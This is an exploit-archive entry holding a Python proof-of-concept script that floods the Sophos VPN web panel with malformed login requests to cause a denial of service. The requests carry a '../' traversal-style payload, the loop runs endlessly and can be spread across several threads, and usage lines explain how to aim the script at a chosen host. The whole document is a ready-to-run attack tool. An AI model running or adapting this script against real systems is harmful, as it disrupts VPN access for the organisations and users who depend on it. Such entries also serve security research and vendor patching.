[webapps] Sophos VPN Web Panel 2020 - Denial of Service (Poc)

# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc) # Date: 2020-06-17 # Exploit Author: Berk KIRAS # Vendor Homepage: https://www.sophos.com/ # Version:2020 Web Panel # Tested on: Apache # Berk KIRAS PwC - Cyber Security Specialist # Sophos VPN Web Portal Denial of Service Vulnerability # System parse JSON data. If we want to send some JSON with invalid data format # for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} # The system can not parse this data fastly and service down # payload_option2 ="../../../../../../../../../FILE./FILE" #!/usr/bin/python3 import requests import sys import random import threading def send_req(): cnt = random.randint(9,22) payload= "../"*cnt+'{FILE}' my_datas_params = {"username":"test", payload+"password":"admin", "cookie":"0", "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>", "language":"turkish", "browser_id":"kbgacsyo-q4j5o7lr70e"} # You should change some values into the headers Host_addr = sys.argv[2] Origin=sys.argv[1]+"://"+sys.argv[2] Referrer=sys.argv[1]+"://"+sys.argv[2] Cookie=sys.argv[4] #Headers my_datas_headers ={ "Host":str(Host_addr), "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "text/javascript, text/html, application/xml, text/xml, */*", "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "X-Prototype-Version": "1.6.1_rc3", "Content-type": "application/json; charset=UTF-8", "Origin":Origin, "Connection": "close", "Referer":Referrer, "Cookie":Cookie, } my_datas_headers2 ={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "text/javascript, text/html, application/xml, text/xml, */*", "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "X-Prototype-Version": "1.6.1_rc3", "Content-type": "application/json; charset=UTF-8", "Connection": "close", } #If you want to edit and add headers some headers added s = requests.session() #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} s.headers.update(my_datas_headers2) print(s.headers.items) r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params) return s def main(): if(len(sys.argv) < 6): print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber") sys.exit(0) else: try: req_count=0 while(True): if(int(sys.argv[5])==1): resp = send_req() req_count=req_count+1 print("Sending Requests... Count: "+str(req_count)) else: threads = int(sys.argv[5]) jobs = [] for i in range(0, threads): out_list = list() thread = threading.Thread(target=send_req) jobs.append(thread) for j in jobs: j.start() print("Jobs Started!") # Ensure all of the threads have finished for j in jobs: j.join() except Exception: print(Exception) main()